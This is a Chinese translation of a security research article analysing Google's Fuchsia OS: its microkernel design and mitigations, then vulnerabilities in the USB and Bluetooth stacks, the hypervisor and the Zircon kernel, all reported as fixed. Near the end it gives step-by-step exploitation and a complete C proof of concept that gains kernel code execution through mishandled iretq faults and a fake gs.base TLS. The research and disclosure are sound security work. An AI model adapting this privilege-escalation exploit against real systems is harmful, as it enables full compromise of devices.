对在 Fuchsia 操作系统中发现的多个漏洞的分析 - 嘶吼 RoarTalk – 网络安全行业综合服务平台,4hou.com

对在 Fuchsia 操作系统中发现的多个漏洞的分析

h1apwn 资讯 2020-06-25 10:22:00
774572
收藏

导语:Fuchsia 是Google开发的针对AArch64和x86_64体系结构的新操作系统。尽管对该操作系统的用途及其用途知之甚少,但它似乎旨在取代智能手机上的Android和笔记本电脑上的Chrome OS。

0x01 基本介绍

Fuchsia是Google开发的针对AArch64和x86_64体系结构的新操作系统。尽管对该操作系统的用途及其用途知之甚少,但它似乎旨在取代智能手机上的Android和笔记本电脑上的Chrome OS。

为了获取有关将来可能会在数百万个设备上运行的操作系统的知识,我们决定快速了解Fuchsia,了解其内部设计,安全特性,优点和缺点,并找到攻击它的方法。

0x02 单内核与微内核

当今最常见的内核设计形式是单内核。例如,Linux和BSD内核都是单内核,而基于Linux的Android和Chrome OS内核也是单内核。

单内核通常很大,它嵌入了所有设备驱动程序和网络堆栈,具有数百个syscall,并且简单地说可以提供所有系统功能。

单内核的内部设计因内核而异,但是总体上,以下内部组件很常见:

1592210548606.png

单内核的一个明显的安全问题是内部系统组件中的任何漏洞都会影响所有内核。假设在以上架构中,USB驱动程序存在可利用的内存损坏:由于该驱动程序在内核空间中运行,利用此漏洞的攻击者将获得对所有内核的控制权。

Fuchsia不是基于单内核,而是基于微内核。

顾名思义,微内核是一种设计为非常小的内核,仅实现有限的核心功能,例如调度,异常处理,内存管理,一些设备驱动程序(如果需要)和一些syscalls 。其余组件将移至用户区,而不是内核的一部分。

微内核设计示例:1592210600428.png

这里,VFS层,套接字层,网络堆栈,文件系统和设备驱动程序被移到专用用户进程中的用户区,这些进程通过IPC相互通信。

例如,FTP客户端可以仅通过与其他用户域进程通信而无需内核干预,从网络中获取数据并将其存储在USB密钥中。内核仅确保特权分离和进程隔离。

这种微内核设计具有有趣的安全性。再次假设USB驱动程序中存在漏洞;在这种情况下,攻击者将能够控制在用户域中运行的USB驱动程序进程(Sys Process 6),但随后将被绑定到该进程,而没有机会立即以更广泛的特权运行,无论它们是否是内核特权,或其他进程(例如FTP客户端)的特权。

因此,攻击者必须利用其他漏洞进行横向移动,与单内核相比,这是一项强大的安全性改进。

0x03 Zircon微内核

Fuchsia的微内核称为Zircon,它是用C ++编写的,我们在这里描述该内核的一些相关内部原理。

内核组件

该系统按在用户区中运行的组件进行组织。例如,网络堆栈是在用户域中运行的组件。USB驱动程序也是在用户环境中运行的组件。

这些组件通过IPC相互交互,在此我们将不讨论其接口。

1592210742483.png

组件没有严格的编程语言要求:它们可以用C ++,Rust,Go或其他语言编写,并且可以通过IPC进行交互而不会出现问题。例如,USB驱动程序是用C ++编写的,而网络堆栈则用Rust编码。

当涉及到设备驱动程序时,它们会在devhosts进程中组合在一起 ,devhost是一个包含驱动程序堆栈的多个层的进程。例如:

1592210808423.png

这里有三个devhost。例如,Devhost Process 3包含AHCI驱动程序,SATA驱动程序以及MinFS和BlobFS文件系统,所有这些组件都存在于同一进程中。

这种弱化了细分模型,因为现在实际上有几个组件属于同一进程,因此一个组件中的漏洞也会影响进程的其他组件。但是,看来devhost的组织方式只能使一个设备堆栈处于一个进程中,这通常意味着不可能将USB驱动程序和SATA驱动程序放在同一个devhost中。因此,分割模型的好处仍然存在。

进程隔离

Zircon通过使用CPU的MMU (内存管理单元)以现代OS的典型方式来保护其内存和进程的内存:每个进程都有一个地址空间,该地址空间由Zircon进行上下文切换。

但是,与其他OS相反,IOMMU (输入输出MMU)在Zircon上起着重要作用:它由内核编程,因此每个devhost进程只能在自己的地址空间上执行DMA操作,而不能在外部执行。

因此,IOMMU与确保进程隔离的MMU一样重要,因为没有它,devhost进程可能只对内核页面执行DMA操作并覆盖其内容。

此外,在x86上,TSS I / O位图 (任务状态段)用于限制对I / O端口的访问,其方式与此处讨论无关。

命名空间

在Fuchsia中,用户进程没有可见的“统一”文件系统。每个进程都有自己的虚拟文件系统,称为命名空间。命名空间包含对象,可以是文件,服务,设备。这些对象按层次结构排序,并且可以使用带有常规POSIX函数(例如open())的文件路径进行访问。

有几种途径值得关注。一个是/ svc /目录,其中包含服务对象,例如/svc/fuchsia.hardware.usb.device ; 这些通常是可以在其上执行IPC的对象。也就是说,一个组件可以通过/ svc /中的服务对象公开IPC ,而其他组件可以通过在其各自的命名空间中访问该IPC对象来访问这些IPC。

命名空间是在生成时随其创建的。可以使用清单文件来指示名称空间层次结构中将存在哪些路径/对象,从而提供一种沙箱机制,以限制进程将能够访问的IPC。

要注意的是,命名空间的概念存在于用户进程中,而不存在于内核中。它可以看作是开发人员处理对象的捷径,易于使用的界面。但是现实是内核对名称空间,层次结构和对象没有任何了解。内核唯一知道的就是handles。

handle句柄

Zircon通过handle管理对组件的访问,可以将其视为 Unix上的文件描述符或常规访问令牌。

命名空间中的对象基本上由句柄支持,并且命名空间中的路径实际上对应于句柄。同样,内核对名称空间及其对象一无所知,只知道句柄。命名空间位于用户区中,可以看作是句柄周围的大型用户友好包装器。

绝大多数情况下,Zircon syscall依赖于句柄来管理访问权限。要访问某些类的系统调用,句柄必须是正确的种类,并且要对系统调用执行特定的操作,句柄还必须具有正确的right。

一切都归结为句柄的概念,从安全的角度来看,这就是我们主要感兴趣的内容:攻击者通常会尝试获得比其拥有的更好的句柄。

系统调用

尽管并不总是最新的,但官方文档 还是很清晰的,不需要特别强调,它显示了执行哪些类的系统调用所需的句柄。

 https://fuchsia.dev/fuchsia-src/reference/syscalls

缓解措施

在缓解方面,一般都会使用ASLR(对userland强制), DEPSafeStackShadowCallStackAutoVarInit。默认情况下,Zircon内核将使用所有内核缓解措施做编译。

当涉及到安全实践时,可以在Fuchsia代码中注意到许多组件都具有相关的单元测试和模糊测试。通过libfuzzer进行模糊处理以Fuzzing组件内部的结构,并通过syzkaller 进行Fuzzing处理以Fuzzing用户公开的系统调用。还支持 ASanUBSanSanitizer,但是似乎没有MSanTSan支持。

最后,谈到编程语言时,如前所述,这些组件可以用C ++,Go和Rust编写。可以说,这里最容易发生编程漏洞的语言是C ++。对于C ++代码,这些组件通常会覆盖多个运算符以执行完整性检查。例如, []运算符(在访问数组时使用)经常被重载以确保索引在数组的范围内并且不会上溢或下溢。因此,即使在“容易出错”的语言上,也会主动采取一些安全措施。

0x04 安全模型

让我们从安全的角度总结到目前为止的设计方面:

使用的微内核的攻击面受到很大的限制:入口点少,逻辑复杂。

· 该系统按在用户区中运行的组件进行组织。这带来了良好的细分属性:影响组件的漏洞只会损害其过程。

· 这些组件实际上可以用安全的语言(例如Rust)编写,其中根本不存在几类漏洞。

· 这些组件具有自己的虚拟文件系统,可以对它们进行沙盒处理,并且完全位于用户端。

· 对组件和系统调用的访问基于句柄,而句柄是内核知道的唯一标记。它们被抽象为命名空间中的对象。

· 在撰写本文时,内核中默认提供的缓解措施还不错。

· 组件和内核以看似系统的方式进行了模糊测试和单元测试。

那么我们能说些什么呢?总体而言,它的内核设计从本质上比Linux更安全,并且围绕它的缓解和安全措施也比Linux当前采用的更好。

可以指出两个缺点:

· Fuchsia不支持CFIPAC 缓解措施,后者被认为是非常强大的缓解措施。

· devhost将一个进程中的多个组件组合在一起的事实在某种程度上削弱了设备驱动程序的分段模型。

0x05 Fuchsia的攻击面

与其他主要操作系统相反,直接针对Zircon内核似乎相当困难。在系统面向世界的部分(USB,蓝牙,网络堆栈等)上成功的RCE(远程执行代码)只会让你控制目标组件,但它们在独立的用户区进程中运行,而不是在内核中运行。然后,从组件中,你需要使用可以使用句柄进行访问的有限数量的syscall,将特权升级到内核。总体而言,将目标定位于其他组件而不是内核似乎更容易,并且专注于可以通过IPC交互了解有用句柄的组件。

我们决定在系统的某些部分中进行一些漏洞研究,以了解在有限的时间内我们可以走多远,并查看Fuchsia的总体良好安全性是否确实符合其承诺。

以下列出的问题已全部报告给Google,现已修复。

USB栈中的漏洞

越界访问

将USB设备连接到计算机时,Fuchsia将在USB枚举过程中从设备获取描述符表。这是由USB devhost中的一个组件完成的,该组件在处理配置描述符表时实际上存在一个漏洞 :

 // read configuration descriptor header to determine size
 usb_configuration_descriptor_t config_desc_header;
 size_t actual;
 status = GetDescriptor(USB_DT_CONFIG, config, 0, &config_desc_header,
                        sizeof(config_desc_header), &actual);
 if (status == ZX_OK && actual != sizeof(config_desc_header)) {
   status = ZX_ERR_IO;
 }
 if (status != ZX_OK) {
   zxlogf(ERROR, "%s: GetDescriptor(USB_DT_CONFIG) failed\n", __func__);
   return status;
 }
 uint16_t config_desc_size = letoh16(config_desc_header.wTotalLength);
 auto* config_desc = new (&ac) uint8_t[config_desc_size];
 if (!ac.check()) {
   return ZX_ERR_NO_MEMORY;
 }
 config_descs_[config].reset(config_desc, config_desc_size);
 
 // read full configuration descriptor
 status = GetDescriptor(USB_DT_CONFIG, config, 0, config_desc, config_desc_size, &actual);
 if (status == ZX_OK && actual != config_desc_size) {
   status = ZX_ERR_IO;
 }
 if (status != ZX_OK) {
   zxlogf(ERROR, "%s: GetDescriptor(USB_DT_CONFIG) failed\n", __func__);
   return status;
 }

让我们看看这里发生了什么。首先,组件获取config_desc_header 结构,该结构具有固定的大小;然后,它读取wTotalLength结构的字段,分配此大小的缓冲区,然后这次重新获取表,以检索全部数据量。

稍后在USB堆栈中,可以将wTotalLength值视为结构的总大小,这在这里很有意义。

问题是,在第一次读取和第二次读取之间,USB设备可能已经修改了wTotalLength值。实际上,在第二次获取之后, wTotalLength可能大于初始值;在这种情况下,其余的USB堆栈仍将信任它,并执行越界访问。

提醒一下,USB堆栈在用户区而不是内核中运行,因此它不是内核漏洞。

漏洞修复:[usb-device]验证wTotalLength的健全性

堆栈溢出

在浏览USB代码时,我们注意到一个函数显然是一个栈溢出:

 zx_status_t HidDevice::HidDeviceGetReport(hid_report_type_t rpt_type, uint8_t rpt_id,
                                           uint8_t* out_report_data, size_t report_count,
                                           size_t* out_report_actual) {
   input_report_size_t needed = GetReportSizeById(rpt_id, static_cast(rpt_type));
   if (needed == 0) {
     return ZX_ERR_NOT_FOUND;
   }
   if (needed > report_count) {
     return ZX_ERR_BUFFER_TOO_SMALL;
   }
 
   uint8_t report[HID_MAX_REPORT_LEN];
   size_t actual = 0;
   zx_status_t status = hidbus_.GetReport(rpt_type, rpt_id, report, needed, &actual);
   /* ... */
 }

简而言之,GetReportSizeById()函数返回先前从USB设备获得的16位值,HID_MAX_REPORT_LEN的值为8192。在这里,对GetReport()的调用会使USB可控制的数据使数组溢出。

似乎没有相关的用户可以通过USB触发该函数,因此这是一个有趣的漏洞。还要注意,通过使用 SafeStack缓解措施,数组实际上位于不安全的堆栈中,这意味着溢出该数组将不允许攻击者覆盖返回指令指针。

修复:修复GetReport缓冲区溢出

蓝牙栈中的漏洞

L2CAP:拒绝数据包

为了处理拒绝数据包,L2CAP 协议使用以下代码:

 ResponseT rsp(status);
 if (status == Status::kReject) {
   if (!rsp.ParseReject(rsp_payload)) {
     bt_log(TRACE, "l2cap", "cmd: ignoring malformed Command Reject, size %zu",
            rsp_payload.size());
     return ResponseHandlerAction::kCompleteOutboundTransaction;
   }
   return InvokeResponseCallback(&rsp_cb, std::move(rsp));
 }

所述ParseReject()方法被调用与rsp_payload含有任意大小的所接收的分组,该方法实现如下:

 bool CommandHandler::Response::ParseReject(const ByteBuffer& rej_payload_buf) {
   auto& rej_payload = rej_payload_buf.As();
   reject_reason_ = static_cast(letoh16(rej_payload.reason));
   /* ... */
 }

在这里,有效负载被视为CommandRejectPayload结构,而没有进行明显的长度检查。这可能是越界访问,但实际上.As <>指令会自动执行长度检查:

 // Converts the underlying buffer to the given type with bounds checking. The buffer is allowed
 // to be larger than T. The user is responsible for checking that the first sizeof(T) bytes
 // represents a valid instance of T.
 template  const T& As() const {
   // std::is_trivial_v would be a stronger guarantee that the buffer contains a valid T object,
   // but would disallow casting to types that have useful constructors, which might instead cause
   // uninitialized field(s) bugs for data encoding/decoding structs.
   static_assert(std::is_trivially_copyable_v, "Can not reinterpret bytes");
   ZX_ASSERT(size() >= sizeof(T));
   return *reinterpret_cast(data());
 }

越界访问将导致断言触发,这将杀死蓝牙组件进程。

因此,不幸的是,这只是蓝牙组件的DoS(拒绝服务),而不是从开发角度考虑的有趣漏洞。

修复:[bt] [l2cap]检查paylaod的大小

SDP:ServiceSearchResponse

解析ServiceSearchResponse数据包时, SDP 协议会调用ServiceSearchResponse :: Parse()函数,该函数具有以下代码:

 Status ServiceSearchResponse::Parse(const ByteBuffer& buf) {
   /* ... */
   if (buf.size() < (2 * sizeof(uint16_t))) {
     bt_log(SPEW, "sdp", "Packet too small to parse");
     return Status(HostError::kPacketMalformed);
   }
   /* ... */
   size_t read_size = sizeof(uint16_t);
   /* ... */
   uint16_t record_count = betoh16(buf.view(read_size).As());
   read_size += sizeof(uint16_t);
   if ((buf.size() - read_size - sizeof(uint8_t)) < (sizeof(ServiceHandle) * record_count)) {
     bt_log(SPEW, "sdp", "Packet too small for %d records", record_count);
     return Status(HostError::kPacketMalformed);
   }
   for (uint16_t i = 0; i < record_count; i++) {
     auto view = buf.view(read_size + i * sizeof(ServiceHandle));
     service_record_handle_list_.emplace_back(betoh32(view.As()));
   }
   /* ... */
 }

该漏洞在这里很明显:buf.size()-read_size可以等于零,在这种情况下,整个无符号表达式(buf.size()-read_size-sizeof(uint8_t)) 环绕并变为正数,这意味着长度检查成功。

然后,代码将迭代并执行越界访问,使用了一些构造函数:

 const BufferView ByteBuffer::view(size_t pos, size_t size) const {
   ZX_ASSERT_MSG(pos size(), "invalid offset (pos = %zu)", pos);
   return BufferView(data() + pos, std::min(size, this->size() - pos));
 }

这只是蓝牙组件的DoS,没有太多意义!

修复:[bt] [sdp]修复缓冲区大小检查

虚拟机监控程序vmcall漏洞

Fuchsia带有用于AArch64和x86_64的嵌入式管理程序。目前尚不清楚为什么要使用该管理程序,通过在虚拟机中运行guest Android或Chrome OS系统并执行Android或Chrome OS应用程序,可能有助于过渡到Fuchsia。

在x86上,我们注意到vmcall指令VMEXIT 的处理中存在漏洞。

管理程序实现pvclock的服务VMCALL。通过此服务,guest内核可以通过 以guest物理地址(GPA)作为参数执行vmcall指令,向虚拟机管理程序询问时间。系统管理程序将时间结构写入内存中的给定GPA中。

但是,vmcall指令在guest用户区中实际上是合法的,并且管理程序不会验证vmcall来自guest内核。因此,guest用户区可以仅使用任何GPA 执行vmcall并覆盖guest内核内存。

这可以用于从guest用户区到guest内核的特权升级中。一旦进入guest内核,攻击者便拥有更多可用的虚拟机监控程序接口,并且可以从中研究和利用VM逃逸漏洞。

修复:[hypervisor] [x86]处理VMCALL时检查CPL

MXCSR的内核处理不当漏洞

所述zx_thread_write_state()系统调用允许设置一个挂起的线程的寄存器。只需在线程上使用句柄就可以访问此syscall,并且默认情况下,任何用户级程序都允许创建线程,因此我们可以调用此syscall。

其中,此系统调用允许修改编码FPU状态的寄存器,尤其是x86上的MXCSR寄存器。这基本上是一个32位寄存器,具有保留位,应保留设置为零。问题是,Zircon不允许修改这些保留位。

通过使用zx_thread_write_state(),我们可以将MXCSR设置为0xFFFFFFFF,并且当挂起的线程恢复运行时,将引发致命的#GP异常,从而导致内核崩溃:

1592210861961.png

修复:[zircon] [debugger]不要将mxcsr寄存器保留下来

iretq的内核处理不当漏洞

在x86上,为了从中断或异常返回,使用了iretq 指令。如果试图返回一个不规范的地址,如果返回地址的范围是0x0000800000000000 - 0xFFFF7FFFFFFFFFFF,该指令将产生故障(#GP)。

此漏洞很特殊:接收该漏洞时, 已经在gs.base寄存器中加载了用户级线程本地存储(TLS),但是内核的CPL(当前特权级别),所述gs.base寄存器是基本上保持一个指针到TLS一个64位寄存器。

该#GP处理必须谨慎继续之前切换到内核TLS。

在Fuchsia上发现了两个漏洞:

1. 从中断或异常处理程序返回时,Zircon不会验证返回地址是否规范。

2. Zircon无法正确处理iretq生成的漏洞,也无法在#GP处理程序中还原内核TLS 。

两者的结合意味着可以在内核中使iretq故障,并使故障处理程序与用户级TLS一起执行!

Zircon上的TLS

Zircon上的内核TLS是x86_percpu结构,其中包含用于代码执行的有用字段,例如gpf_return_target(如下所示)。

漏洞利用开发

利用步骤如下:

1. 创建一个线程。线程不得执行任何操作(例如,无限循环)。

2. 使用zx_task_suspend() syscall 挂起该线程。

3. 使用zx_thread_write_state()更改挂起线程的%rip寄存器,并在其中添加非规范值,例如 0x00FFFFFFFFFFFFFFFF。还要将gs.base的值更改为一个特定的值,我们将其称为FakeTlsAddr。

4. 使用zx_handle_close()系统调用来恢复挂起的线程。

5. 当线程恢复时,内核将返回到该线程。它将执行 swapgs(以安装userland gs.base值),然后执行iretq,这将出错,因为我们设置的%rip值是非规范的。内核最终进入#GP故障处理程序。

6. 该#GP处理器看到该故障是在内核接收,不执行swapgs,因为它认为,既然我们从内核出来,然后我们必须有TLS加载内核。因此,处理程序漏洞地停留在userland gs.base值上。然后调用 x86_exception_handler()函数。

7. x86_exception_handler()使用此TLS。特别是,如果TLS 的gpf_return_target字段非零,它将迅速退出,并且实际上它会跳到该地址!

8. CPU 使用内核特权跳入gpf_return_target。

最后,内核使用位于FakeTlsAddr的结构,认为它是内核信任的x86_percpu结构,而实际上它可能是由用户级控制的结构。通过在此伪造结构的gpf_return_target字段中放置特定值 ,userland可以开始在内核模式下执行代码。

Userland必须选择FakeTlsAddr地址,以便它指向复制了Userland 数据的内核缓冲区,或者直接指向Userland 中的缓冲区(如果没有SMEP / SMAP)。

作为一个示例,我们开发了一个简单的漏洞利用程序,不要要在SMEP / SMAP 不存在的请款下才能利用成功:

 #include  #include  #include  #include  #include  #include  #include  #include  
 #define __aligned(x)    __attribute__((__aligned__(x)))
 #define __barrier()     __asm __volatile("":::"memory")
 #define PAGE_SIZE       4096
 
 volatile zx_handle_t MyThreadHandle;
 volatile int Ready;
 volatile int Resume;
 
 uint8_t FakeThread[PAGE_SIZE] __aligned(PAGE_SIZE);
 uint8_t FakeUStack[PAGE_SIZE] __aligned(PAGE_SIZE);
 
 /*
  * Short, simplified version of "struct x86_percpu". We are mainly interested
  * in "gpf_return_target" here, because it dictates where the #GP handler
  * returns. We make it point to a userland address.
  */
 union {
         struct FakeCpu {
                 void *direct;
                 void *current_thread;
                 uintptr_t stack_guard;
                 uintptr_t kernel_unsafe_sp;
                 uintptr_t saved_user_sp;
                 uint32_t blocking_disallowed;
                 volatile uint8_t *monitor;
                 void *idle_states;
                 uint32_t apic_id;
                 uintptr_t gpf_return_target;
         } FakeCpu;
         uint8_t raw[2*PAGE_SIZE];
 } FakeTls __aligned(PAGE_SIZE);
 
 /* -------------------------------------------------------------------------- */
 
 /*
  * This function runs as ring0, with the context of MyThread(). Put whatever
  * you want in it, this basically executes as kernel code.
  */
 static void RunAsRing0(void)
 {
         __asm volatile (
                 /* ... */
                 "1: jmp 1b\n"
         );
 }
 
 /*
  * Expose the handle of the thread. Kinda annoying to do, I didn't find a way
  * to retrieve that handle from the parent thread directly (the thing is hidden
  * inside pthread etc).
  */
 static void *MyThread(void *arg)
 {
         printf("[Thread] Started\n");
         MyThreadHandle = zx_thread_self();
         __barrier();
         Ready = 1;
         __barrier();
         while (!Resume);
         printf("[Thread] Resumed\n");
         return NULL;
 }
 
 int main(int argc, char** argv)
 {
         zx_thread_state_general_regs_t regs;
         zx_handle_t token;
         zx_status_t res;
         pthread_t thid;
 
         pthread_create(&thid, NULL, MyThread, NULL);
 
         /*
          * Wait for the handle to be exposed...
          */
         while (!Ready);
 
         printf("[Main] Ready\n");
 
         res = zx_task_suspend(MyThreadHandle, &token);
         if (res != ZX_OK) {
                 printf("[Main] zx_task_suspend failed: %d\n", res);
                 return 0;
         }
         printf("[Main] Suspended\n");
 
         FakeTls.FakeCpu.direct = &FakeTls;
         FakeTls.FakeCpu.current_thread = FakeThread;
         FakeTls.FakeCpu.gpf_return_target = (uintptr_t)&RunAsRing0;
         FakeTls.FakeCpu.kernel_unsafe_sp = (uintptr_t)&FakeUStack[PAGE_SIZE];
 
         res = zx_thread_read_state(MyThreadHandle,
             ZX_THREAD_STATE_GENERAL_REGS, &regs, sizeof(regs));
         if (res != ZX_OK) {
                 printf("[Main] zx_thread_read_state failed: %d\n", res);
                 return 0;
         }
 
         regs.gs_base = (uintptr_t)&FakeTls; /* Our fake TLS */
         regs.rip = 0x00FFFFFFFFFFFFFF; /* A non-canonical address */
 
         res = zx_thread_write_state(MyThreadHandle,
             ZX_THREAD_STATE_GENERAL_REGS, &regs, sizeof(regs));
         if (res != ZX_OK) {
                 printf("[Main] zx_thread_write_state failed: %d\n", res);
                 return 0;
         }
 
         Resume = 1;
         zx_handle_close(token); /* The thread resumes */
 
         pthread_join(thid, NULL);
         printf("[Main] Survived! Exploit failed?!\n");
         return 0;
 }

有了它,我们就能从常规的userland进程中获取内核代码执行。

修复:[zircon] [debugger]禁止设置非规范的rip地址

其他漏洞

发现了其他一些有趣的漏洞,例如:

· USB驱动程序除零错误,这只会杀死USB用户进程,而不会影响内核和组件;

· 由于复制到用户区的结构缺少初始化而导致的内核堆栈信息泄漏,实际上是通过AutoVarInit缓解的,AutoVarInit是一种自动初始化缓冲区的编译器功能;

· 蓝牙堆栈中的越界访问,可通过C ++方法和运算符中的健全性检查来缓解;

· 蓝牙DoSes,攻击者可以在其中使用该组件的内存,但又不会影响内核。

0x06 分析总结

总体而言,与其他操作系统(例如Android)相比,Fuchsia的安全性比较有意思。

经过几天的漏洞研究,我们得出的结论是,在其他操作系统中发现的常见编程漏洞也可以在Fuchsia中找到。但是,尽管这些漏洞通常可以被视为其他OS的漏洞,但事实证明它们对Fuchsia并没有兴趣,因为在大多数情况下,Fuchsia的安全性可以减轻其影响。

但是,我们注意到,这些安全属性不能(实际上不能)保留在与虚拟化,异常处理和调度相关的内核的最低层中,并且这里的任何漏洞仍然像其他操作系统一样可以被利用。

我们发现的所有漏洞均已报告给Google,现已修复。

同样,目前尚不清楚Fuchsia的发展方向,以及Google是否声称它只是研究型操作系统还是誓将用于未来产品的真正操作系统。不过,很明显,它有可能极大地增加攻击者入侵设备的难度。

本文翻译自:https://blog.quarkslab.com/playing-around-with-the-fuchsia-operating-system.html如若转载,请注明原文地址:
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论

 
本站4hou.com,所使用的字体和图片文字等素材部分来源于原作者或互联网共享平台。如使用任何字体和图片文字有侵犯其版权所有方的,嘶吼将配合联系原作者核实,并做出删除处理。
©2024 北京嘶吼文化传媒有限公司 京ICP备16063439号-1 本站由 提供云计算服务